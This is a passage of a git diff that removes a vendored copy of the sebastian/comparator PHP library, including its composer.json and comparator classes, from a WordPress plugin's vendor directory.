-composer require sebastian/comparator -``` - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - -``` -composer require --dev sebastian/comparator -``` - -## Usage - -```php -getComparatorFor($date1, $date2); - -try { - $comparator->assertEquals($date1, $date2); - print "Dates match"; -} catch (ComparisonFailure $failure) { - print "Dates don't match"; -} -``` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/composer.json deleted file mode 100644 index b758e03c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/composer.json +++ /dev/null @@ -1,57 +0,0 @@ -{ - "name": "sebastian/comparator", - "description": "Provides the functionality to compare PHP values for equality", - "keywords": ["comparator","compare","equality"], - "homepage": "https://github.com/sebastianbergmann/comparator", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - }, - { - "name": "Jeff Welch", - "email": "whatthejeff@gmail.com" - }, - { - "name": "Volker Dusch", - "email": "github@wallbash.com" - }, - { - "name": "Bernhard Schussek", - "email": "bschussek@2bepublished.at" - } - ], - "prefer-stable": true, - "require": { - "php": ">=7.3", - "sebastian/diff": "^4.0", - "sebastian/exporter": "^4.0" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "config": { - "platform": { - "php": "7.3.0" - }, - "optimize-autoloader": true, - "sort-packages": true - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "autoload-dev": { - "classmap": [ - "tests/_fixture" - ] - }, - "extra": { - "branch-alias": { - "dev-master": "4.0-dev" - } - } -} - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ArrayComparator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ArrayComparator.php deleted file mode 100644 index 5d9fbce6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ArrayComparator.php +++ /dev/null @@ -1,141 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Comparator; - -use function array_key_exists; -use function is_array; -use function sort; -use function sprintf; -use function str_replace; -use function trim; - -/** - * Compares arrays for equality. - * - * Arrays are equal if they contain the same key-value pairs. - * The order of the keys does not matter. - * The types of key-value pairs do not matter. - */ -class ArrayComparator extends Comparator -{ - /** - * Returns whether the comparator can compare two values. - * - * @param mixed $expected The first value to compare - * @param mixed $actual The second value to compare - * - * @return bool - */ - public function accepts($expected, $actual) - { - return is_array($expected) && is_array($actual); - } - - /** - * Asserts that two arrays are equal. - * - * @param mixed $expected First value to compare - * @param mixed $actual Second value to compare - * @param float $delta Allowed numerical distance between two values to consider them equal - * @param bool $canonicalize Arrays are sorted before comparison when set to true - * @param bool $ignoreCase Case is ignored when set to true - * @param array $processed List of already processed elements (used to prevent infinite recursion) - * - * @throws ComparisonFailure - */ - public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false, array &$processed = [])/*: void*/ - { - if ($canonicalize) { - sort($expected); - sort($actual); - } - - $remaining = $actual; - $actualAsString = "Array (\n"; - $expectedAsString = "Array (\n"; - $equal = true; - - foreach ($expected as $key => $value) { - unset($remaining[$key]); - - if (!array_key_exists($key, $actual)) { - $expectedAsString .= sprintf( - " %s => %s\n", - $this->exporter->export($key), - $this->exporter->shortenedExport($value) - ); - - $equal = false; - - continue; - } - - try { - $comparator = $this->factory->getComparatorFor($value, $actual[$key]); - $comparator->assertEquals($value, $actual[$key], $delta, $canonicalize, $ignoreCase, $processed); - - $expectedAsString .= sprintf( - " %s => %s\n", - $this->exporter->export($key), - $this->exporter->shortenedExport($value) - ); - - $actualAsString .= sprintf( - " %s => %s\n", - $this->exporter->export($key), - $this->exporter->shortenedExport($actual[$key]) - ); - } catch (ComparisonFailure $e) { - $expectedAsString .= sprintf( - " %s => %s\n", - $this->exporter->export($key), - $e->getExpectedAsString() ? $this->indent($e->getExpectedAsString()) : $this->exporter->shortenedExport($e->getExpected()) - ); - - $actualAsString .= sprintf( - " %s => %s\n", - $this->exporter->export($key), - $e->getActualAsString() ? $this->indent($e->getActualAsString()) : $this->exporter->shortenedExport($e->getActual()) - ); - - $equal = false; - } - } - - foreach ($remaining as $key => $value) { - $actualAsString .= sprintf( - " %s => %s\n", - $this->exporter->export($key), - $this->exporter->shortenedExport($value) - ); - - $equal = false; - } - - $expectedAsString .= ')'; - $actualAsString .= ')'; - - if (!$equal) { - throw new ComparisonFailure( - $expected, - $actual, - $expectedAsString, - $actualAsString, - false, - 'Failed asserting that two arrays are equal.' - ); - } - } - - protected function indent($lines) - { - return trim(str_replace("\n", "\n ", $lines)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/Comparator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/Comparator.php deleted file mode 100644 index e1906c16..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/Comparator.php +++ /dev/null @@ -1,61 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Comparator; - -use SebastianBergmann\Exporter\Exporter; - -/** - * Abstract base class for comparators which compare values for equality. - */ -abstract class Comparator -{ - /** - * @var Factory - */ - protected $factory; - - /** - * @var Exporter - */ - protected $exporter; - - public function __construct() - { - $this->exporter = new Exporter; - } - - public function setFactory(Factory $factory)/*: void*/ - { - $this->factory = $factory; - } - - /** - * Returns whether the comparator can compare two values. - * - * @param mixed $expected The first value to compare - * @param mixed $actual The second value to compare - * - * @return bool - */ - abstract public function accepts($expected, $actual); - - /** - * Asserts that two values are equal. - * - * @param mixed $expected First value to compare - * @param mixed $actual Second value to compare - * @param float $delta Allowed numerical distance between two values to consider them equal - * @param bool $canonicalize Arrays are sorted before comparison when set to true - * @param bool $ignoreCase Case is ignored when set to true - * - * @throws ComparisonFailure - */ - abstract public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ComparisonFailure.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ComparisonFailure.php deleted file mode 100644 index 857314da..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ComparisonFailure.php +++ /dev/null @@ -1,129 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Comparator; - -use RuntimeException; -use SebastianBergmann\Diff\Differ; -use SebastianBergmann\Diff\Output\UnifiedDiffOutputBuilder; - -/** - * Thrown when an assertion for string equality failed. - */ -class ComparisonFailure extends RuntimeException -{ - /** - * Expected value of the retrieval which does not match $actual. - * - * @var mixed - */ - protected $expected; - - /** - * Actually retrieved value which does not match $expected. - * - * @var mixed - */ - protected $actual; - - /** - * The string representation of the expected value. - * - * @var string - */ - protected $expectedAsString; - - /** - * The string representation of the actual value. - * - * @var string - */ - protected $actualAsString; - - /** - * @var bool - */ - protected $identical; - - /** - * Optional message which is placed in front of the first line - * returned by toString(). - * - * @var string - */ - protected $message; - - /** - * Initialises with the expected value and the actual value. - * - * @param mixed $expected expected value retrieved - * @param mixed $actual actual value retrieved - * @param string $expectedAsString - * @param string $actualAsString - * @param bool $identical - * @param string $message a string which is prefixed on all returned lines - * in the difference output - */ - public function __construct($expected, $actual, $expectedAsString, $actualAsString, $identical = false, $message = '') - { - $this->expected = $expected; - $this->actual = $actual; - $this->expectedAsString = $expectedAsString; - $this->actualAsString = $actualAsString; - $this->message = $message; - } - - public function getActual() - { - return $this->actual; - } - - public function getExpected() - { - return $this->expected; - } - - /** - * @return string - */ - public function getActualAsString() - { - return $this->actualAsString; - } - - /** - * @return string - */ - public function getExpectedAsString() - { - return $this->expectedAsString; - } - - /** - * @return string - */ - public function getDiff() - { - if (!$this->actualAsString && !$this->expectedAsString) { - return ''; - } - - $differ = new Differ(new UnifiedDiffOutputBuilder("\n--- Expected\n+++ Actual\n")); - - return $differ->diff($this->expectedAsString, $this->actualAsString); - } - - /** - * @return string - */ - public function toString() - { - return $this->message . $this->getDiff(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/DOMNodeComparator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/DOMNodeComparator.php deleted file mode 100644 index 5bf854ea..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/DOMNodeComparator.php +++ /dev/null @@ -1,93 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Comparator; - -use function sprintf; -use function strtolower; -use DOMDocument; -use DOMNode; -use ValueError; - -/** - * Compares DOMNode instances for equality. - */ -class DOMNodeComparator extends ObjectComparator -{ - /** - * Returns whether the comparator can compare two values. - * - * @param mixed $expected The first value to compare - * @param mixed $actual The second value to compare - * - * @return bool - */ - public function accepts($expected, $actual) - { - return $expected instanceof DOMNode && $actual instanceof DOMNode; - } - - /** - * Asserts that two values are equal. - * - * @param mixed $expected First value to compare - * @param mixed $actual Second value to compare - * @param float $delta Allowed numerical distance between two values to consider them equal - * @param bool $canonicalize Arrays are sorted before comparison when set to true - * @param bool $ignoreCase Case is ignored when set to true - * @param array $processed List of already processed elements (used to prevent infinite recursion) - * - * @throws ComparisonFailure - */ - public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false, array &$processed = [])/*: void*/ - { - $expectedAsString = $this->nodeToText($expected, true, $ignoreCase); - $actualAsString = $this->nodeToText($actual, true, $ignoreCase); - - if ($expectedAsString !== $actualAsString) { - $type = $expected instanceof DOMDocument ? 'documents' : 'nodes'; - - throw new ComparisonFailure( - $expected, - $actual, - $expectedAsString, - $actualAsString, - false, - sprintf("Failed asserting that two DOM %s are equal.\n", $type) - ); - } - } - - /** - * Returns the normalized, whitespace-cleaned, and indented textual - * representation of a DOMNode. - */ - private function nodeToText(DOMNode $node, bool $canonicalize, bool $ignoreCase): string - { - if ($canonicalize) { - $document = new DOMDocument; - - try { - @$document->loadXML($node->C14N()); - } catch (ValueError $e) { - } - - $node = $document; - } - - $document = $node instanceof DOMDocument ? $node : $node->ownerDocument; - - $document->formatOutput = true; - $document->normalizeDocument(); - - $text = $node instanceof DOMDocument ? $node->saveXML() : $document->saveXML($node); - - return $ignoreCase ? strtolower($text) : $text; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/DateTimeComparator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/DateTimeComparator.php deleted file mode 100644 index 0a303b62..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/DateTimeComparator.php +++ /dev/null @@ -1,95 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Comparator; - -use function abs; -use function floor; -use function sprintf; -use DateInterval; -use DateTime; -use DateTimeInterface; -use DateTimeZone; -use Exception; - -/** - * Compares DateTimeInterface instances for equality. - */ -class DateTimeComparator extends ObjectComparator -{ - /** - * Returns whether the comparator can compare two values. - * - * @param mixed $expected The first value to compare - * @param mixed $actual The second value to compare - * - * @return bool - */ - public function accepts($expected, $actual) - { - return ($expected instanceof DateTime || $expected instanceof DateTimeInterface) && - ($actual instanceof DateTime || $actual instanceof DateTimeInterface); - } - - /** - * Asserts that two values are equal. - * - * @param mixed $expected First value to compare - * @param mixed $actual Second value to compare - * @param float $delta Allowed numerical distance between two values to consider them equal - * @param bool $canonicalize Arrays are sorted before comparison when set to true - * @param bool $ignoreCase Case is ignored when set to true - * @param array $processed List of already processed elements (used to prevent infinite recursion) - * - * @throws Exception - * @throws ComparisonFailure - */ - public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false, array &$processed = [])/*: void*/ - { - /** @var DateTimeInterface $expected */ - /** @var DateTimeInterface $actual */ - $absDelta = abs($delta); - $delta = new DateInterval(sprintf('PT%dS', $absDelta)); - $delta->f = $absDelta - floor($absDelta); - - $actualClone = (clone $actual) - ->setTimezone(new DateTimeZone('UTC')); - - $expectedLower = (clone $expected) - ->setTimezone(new DateTimeZone('UTC')) - ->sub($delta); - - $expectedUpper = (clone $expected) - ->setTimezone(new DateTimeZone('UTC')) - ->add($delta); - - if ($actualClone < $expectedLower || $actualClone > $expectedUpper) { - throw new ComparisonFailure( - $expected, - $actual, - $this->dateTimeToString($expected), - $this->dateTimeToString($actual), - false, - 'Failed asserting that two DateTime objects are equal.' - ); - } - } - - /** - * Returns an ISO 8601 formatted string representation of a datetime or - * 'Invalid DateTimeInterface object' if the provided DateTimeInterface was not properly - * initialized. - */ - private function dateTimeToString(DateTimeInterface $datetime): string - { - $string = $datetime->format('Y-m-d\TH:i:s.uO'); - - return $string ?: 'Invalid DateTimeInterface object'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/DoubleComparator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/DoubleComparator.php deleted file mode 100644 index 42352219..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/DoubleComparator.php +++ /dev/null @@ -1,61 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Comparator; - -use function is_float; -use function is_numeric; - -/** - * Compares doubles for equality. - * - * @deprecated since v3.0.5 and v4.0.8 - */ -class DoubleComparator extends NumericComparator -{ - /** - * Smallest value available in PHP. - * - * @var float - */ - public const EPSILON = 0.0000000001; - - /** - * Returns whether the comparator can compare two values. - * - * @param mixed $expected The first value to compare - * @param mixed $actual The second value to compare - * - * @return bool - */ - public function accepts($expected, $actual) - { - return (is_float($expected) || is_float($actual)) && is_numeric($expected) && is_numeric($actual); - } - - /** - * Asserts that two values are equal. - * - * @param mixed $expected First value to compare - * @param mixed $actual Second value to compare - * @param float $delta Allowed numerical distance between two values to consider them equal - * @param bool $canonicalize Arrays are sorted before comparison when set to true - * @param bool $ignoreCase Case is ignored when set to true - * - * @throws ComparisonFailure - */ - public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false)/*: void*/ - { - if ($delta == 0) { - $delta = self::EPSILON; - } - - parent::assertEquals($expected, $actual, $delta, $canonicalize, $ignoreCase); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ExceptionComparator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ExceptionComparator.php deleted file mode 100644 index 1fc0174e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ExceptionComparator.php +++ /dev/null @@ -1,54 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Comparator; - -use Exception; - -/** - * Compares Exception instances for equality. - */ -class ExceptionComparator extends ObjectComparator -{ - /** - * Returns whether the comparator can compare two values. - * - * @param mixed $expected The first value to compare - * @param mixed $actual The second value to compare - * - * @return bool - */ - public function accepts($expected, $actual) - { - return $expected instanceof Exception && $actual instanceof Exception; - } - - /** - * Converts an object to an array containing all of its private, protected - * and public properties. - * - * @param object $object - * - * @return array - */ - protected function toArray($object) - { - $array = parent::toArray($object); - - unset( - $array['file'], - $array['line'], - $array['trace'], - $array['string'], - $array['xdebug_message'] - ); - - return $array; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/Factory.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/Factory.php deleted file mode 100644 index 6a8b5b44..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/Factory.php +++ /dev/null @@ -1,141 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Comparator; - -use function array_unshift; - -/** - * Factory for comparators which compare values for equality. - */ -class Factory -{ - /** - * @var Factory - */ - private static $instance; - - /** - * @var Comparator[] - */ - private $customComparators = []; - - /** - * @var Comparator[] - */ - private $defaultComparators = []; - - /** - * @return Factory - */ - public static function getInstance() - { - if (self::$instance === null) { - self::$instance = new self; // @codeCoverageIgnore - } - - return self::$instance; - } - - /** - * Constructs a new factory. - */ - public function __construct() - { - $this->registerDefaultComparators(); - } - - /** - * Returns the correct comparator for comparing two values. - * - * @param mixed $expected The first value to compare - * @param mixed $actual The second value to compare - * - * @return Comparator - */ - public function getComparatorFor($expected, $actual) - { - foreach ($this->customComparators as $comparator) { - if ($comparator->accepts($expected, $actual)) { - return $comparator; - } - } - - foreach ($this->defaultComparators as $comparator) { - if ($comparator->accepts($expected, $actual)) { - return $comparator; - } - } - - throw new RuntimeException('No suitable Comparator implementation found'); - } - - /** - * Registers a new comparator. - * - * This comparator will be returned by getComparatorFor() if its accept() method - * returns TRUE for the compared values. It has higher priority than the - * existing comparators, meaning that its accept() method will be invoked - * before those of the other comparators. - * - * @param Comparator $comparator The comparator to be registered - */ - public function register(Comparator $comparator)/*: void*/ - { - array_unshift($this->customComparators, $comparator); - - $comparator->setFactory($this); - } - - /** - * Unregisters a comparator. - * - * This comparator will no longer be considered by getComparatorFor(). - * - * @param Comparator $comparator The comparator to be unregistered - */ - public function unregister(Comparator $comparator)/*: void*/ - { - foreach ($this->customComparators as $key => $_comparator) { - if ($comparator === $_comparator) { - unset($this->customComparators[$key]); - } - } - } - - /** - * Unregisters all non-default comparators. - */ - public function reset()/*: void*/ - { - $this->customComparators = []; - } - - private function registerDefaultComparators(): void - { - $this->registerDefaultComparator(new MockObjectComparator); - $this->registerDefaultComparator(new DateTimeComparator); - $this->registerDefaultComparator(new DOMNodeComparator); - $this->registerDefaultComparator(new SplObjectStorageComparator); - $this->registerDefaultComparator(new ExceptionComparator); - $this->registerDefaultComparator(new ObjectComparator); - $this->registerDefaultComparator(new ResourceComparator); - $this->registerDefaultComparator(new ArrayComparator); - $this->registerDefaultComparator(new NumericComparator); - $this->registerDefaultComparator(new ScalarComparator); - $this->registerDefaultComparator(new TypeComparator); - } - - private function registerDefaultComparator(Comparator $comparator): void - { - $this->defaultComparators[] = $comparator; - - $comparator->setFactory($this); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/MockObjectComparator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/MockObjectComparator.php deleted file mode 100644 index cb670316..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/MockObjectComparator.php +++ /dev/null @@ -1,48 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Comparator; - -use PHPUnit\Framework\MockObject\MockObject; - -/** - * Compares PHPUnit\Framework\MockObject\MockObject instances for equality. - */ -class MockObjectComparator extends ObjectComparator -{ - /** - * Returns whether the comparator can compare two values. - * - * @param mixed $expected The first value to compare - * @param mixed $actual The second value to compare - * - * @return bool - */ - public function accepts($expected, $actual) - { - return $expected instanceof MockObject && $actual instanceof MockObject; - } - - /** - * Converts an object to an array containing all of its private, protected - * and public properties. - * - * @param object $object - * - * @return array - */ - protected function toArray($object) - { - $array = parent::toArray($object); - - unset($array['__phpunit_invocationMocker']); - - return $array; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/NumericComparator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/NumericComparator.php deleted file mode 100644 index 841881c9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/NumericComparator.php +++ /dev/null @@ -1,84 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Comparator; - -use function abs; -use function is_float; -use function is_infinite; -use function is_nan; -use function is_numeric; -use function is_string; -use function sprintf; - -/** - * Compares numerical values for equality. - */ -class NumericComparator extends ScalarComparator -{ - /** - * Returns whether the comparator can compare two values. - * - * @param mixed $expected The first value to compare - * @param mixed $actual The second value to compare - * - * @return bool - */ - public function accepts($expected, $actual) - { - // all numerical values, but not if both of them are strings - return is_numeric($expected) && is_numeric($actual) && - !(is_string($expected) && is_string($actual)); - } - - /** - * Asserts that two values are equal. - * - * @param mixed $expected First value to compare - * @param mixed $actual Second value to compare - * @param float $delta Allowed numerical distance between two values to consider them equal - * @param bool $canonicalize Arrays are sorted before comparison when set to true - * @param bool $ignoreCase Case is ignored when set to true - * - * @throws ComparisonFailure - */ - public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false)/*: void*/ - { - if ($this->isInfinite($actual) && $this->isInfinite($expected)) { - return; - } - - if (($this->isInfinite($actual) xor $this->isInfinite($expected)) || - ($this->isNan($actual) || $this->isNan($expected)) || - abs($actual - $expected) > $delta) { - throw new ComparisonFailure( - $expected, - $actual, - '', - '', - false, - sprintf( - 'Failed asserting that %s matches expected %s.', - $this->exporter->export($actual), - $this->exporter->export($expected) - ) - ); - } - } - - private function isInfinite($value): bool - { - return is_float($value) && is_infinite($value); - } - - private function isNan($value): bool - { - return is_float($value) && is_nan($value); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ObjectComparator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ObjectComparator.php deleted file mode 100644 index 9380ba15..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ObjectComparator.php +++ /dev/null @@ -1,112 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Comparator; - -use function get_class; -use function in_array; -use function is_object; -use function sprintf; -use function substr_replace; - -/** - * Compares objects for equality. - */ -class ObjectComparator extends ArrayComparator -{ - /** - * Returns whether the comparator can compare two values. - * - * @param mixed $expected The first value to compare - * @param mixed $actual The second value to compare - * - * @return bool - */ - public function accepts($expected, $actual) - { - return is_object($expected) && is_object($actual); - } - - /** - * Asserts that two values are equal. - * - * @param mixed $expected First value to compare - * @param mixed $actual Second value to compare - * @param float $delta Allowed numerical distance between two values to consider them equal - * @param bool $canonicalize Arrays are sorted before comparison when set to true - * @param bool $ignoreCase Case is ignored when set to true - * @param array $processed List of already processed elements (used to prevent infinite recursion) - * - * @throws ComparisonFailure - */ - public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false, array &$processed = [])/*: void*/ - { - if (get_class($actual) !== get_class($expected)) { - throw new ComparisonFailure( - $expected, - $actual, - $this->exporter->export($expected), - $this->exporter->export($actual), - false, - sprintf( - '%s is not instance of expected class "%s".', - $this->exporter->export($actual), - get_class($expected) - ) - ); - } - - // don't compare twice to allow for cyclic dependencies - if (in_array([$actual, $expected], $processed, true) || - in_array([$expected, $actual], $processed, true)) { - return; - } - - $processed[] = [$actual, $expected]; - - // don't compare objects if they are identical - // this helps to avoid the error "maximum function nesting level reached" - // CAUTION: this conditional clause is not tested - if ($actual !== $expected) { - try { - parent::assertEquals( - $this->toArray($expected), - $this->toArray($actual), - $delta, - $canonicalize, - $ignoreCase, - $processed - ); - } catch (ComparisonFailure $e) { - throw new ComparisonFailure( - $expected, - $actual, - // replace "Array" with "MyClass object" - substr_replace($e->getExpectedAsString(), get_class($expected) . ' Object', 0, 5), - substr_replace($e->getActualAsString(), get_class($actual) . ' Object', 0, 5), - false, - 'Failed asserting that two objects are equal.' - ); - } - } - } - - /** - * Converts an object to an array containing all of its private, protected - * and public properties. - * - * @param object $object - * - * @return array - */ - protected function toArray($object) - { - return $this->exporter->toArray($object); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ResourceComparator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ResourceComparator.php deleted file mode 100644 index 7822598b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ResourceComparator.php +++ /dev/null @@ -1,54 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Comparator; - -use function is_resource; - -/** - * Compares resources for equality. - */ -class ResourceComparator extends Comparator -{ - /** - * Returns whether the comparator can compare two values. - * - * @param mixed $expected The first value to compare - * @param mixed $actual The second value to compare - * - * @return bool - */ - public function accepts($expected, $actual) - { - return is_resource($expected) && is_resource($actual); - } - - /** - * Asserts that two values are equal. - * - * @param mixed $expected First value to compare - * @param mixed $actual Second value to compare - * @param float $delta Allowed numerical distance between two values to consider them equal - * @param bool $canonicalize Arrays are sorted before comparison when set to true - * @param bool $ignoreCase Case is ignored when set to true - * - * @throws ComparisonFailure - */ - public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false)/*: void*/ - { - if ($actual != $expected) { - throw new ComparisonFailure( - $expected, - $actual, - $this->exporter->export($expected), - $this->exporter->export($actual) - ); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ScalarComparator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ScalarComparator.php deleted file mode 100644 index 7f131229..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ScalarComparator.php +++ /dev/null @@ -1,99 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Comparator; - -use function is_bool; -use function is_object; -use function is_scalar; -use function is_string; -use function method_exists; -use function sprintf; -use function strtolower; - -/** - * Compares scalar or NULL values for equality. - */ -class ScalarComparator extends Comparator -{ - /** - * Returns whether the comparator can compare two values. - * - * @param mixed $expected The first value to compare - * @param mixed $actual The second value to compare - * - * @return bool - * - * @since Method available since Release 3.6.0 - */ - public function accepts($expected, $actual) - { - return ((is_scalar($expected) xor null === $expected) && - (is_scalar($actual) xor null === $actual)) - // allow comparison between strings and objects featuring __toString() - || (is_string($expected) && is_object($actual) && method_exists($actual, '__toString')) - || (is_object($expected) && method_exists($expected, '__toString') && is_string($actual)); - } - - /** - * Asserts that two values are equal. - * - * @param mixed $expected First value to compare - * @param mixed $actual Second value to compare - * @param float $delta Allowed numerical distance between two values to consider them equal - * @param bool $canonicalize Arrays are sorted before comparison when set to true - * @param bool $ignoreCase Case is ignored when set to true - * - * @throws ComparisonFailure - */ - public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false)/*: void*/ - { - $expectedToCompare = $expected; - $actualToCompare = $actual; - - // always compare as strings to avoid strange behaviour - // otherwise 0 == 'Foobar' - if ((is_string($expected) && !is_bool($actual)) || (is_string($actual) && !is_bool($expected))) { - $expectedToCompare = (string) $expectedToCompare; - $actualToCompare = (string) $actualToCompare; - - if ($ignoreCase) { - $expectedToCompare = strtolower($expectedToCompare); - $actualToCompare = strtolower($actualToCompare); - } - } - - if ($expectedToCompare !== $actualToCompare && is_string($expected) && is_string($actual)) { - throw new ComparisonFailure( - $expected, - $actual, - $this->exporter->export($expected), - $this->exporter->export($actual), - false, - 'Failed asserting that two strings are equal.' - ); - } - - if ($expectedToCompare != $actualToCompare) { - throw new ComparisonFailure( - $expected, - $actual, - // no diff is required - '', - '', - false, - sprintf( - 'Failed asserting that %s matches expected %s.', - $this->exporter->export($actual), - $this->exporter->export($expected) - ) - ); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/SplObjectStorageComparator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/SplObjectStorageComparator.php deleted file mode 100644 index d9b6f541..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/SplObjectStorageComparator.php +++ /dev/null @@ -1,71 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Comparator; - -use SplObjectStorage; - -/** - * Compares \SplObjectStorage instances for equality. - */ -class SplObjectStorageComparator extends Comparator -{ - /** - * Returns whether the comparator can compare two values. - * - * @param mixed $expected The first value to compare - * @param mixed $actual The second value to compare - * - * @return bool - */ - public function accepts($expected, $actual) - { - return $expected instanceof SplObjectStorage && $actual instanceof SplObjectStorage; - } - - /** - * Asserts that two values are equal. - * - * @param mixed $expected First value to compare - * @param mixed $actual Second value to compare - * @param float $delta Allowed numerical distance between two values to consider them equal - * @param bool $canonicalize Arrays are sorted before comparison when set to true - * @param bool $ignoreCase Case is ignored when set to true - * - * @throws ComparisonFailure - */ - public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false)/*: void*/ 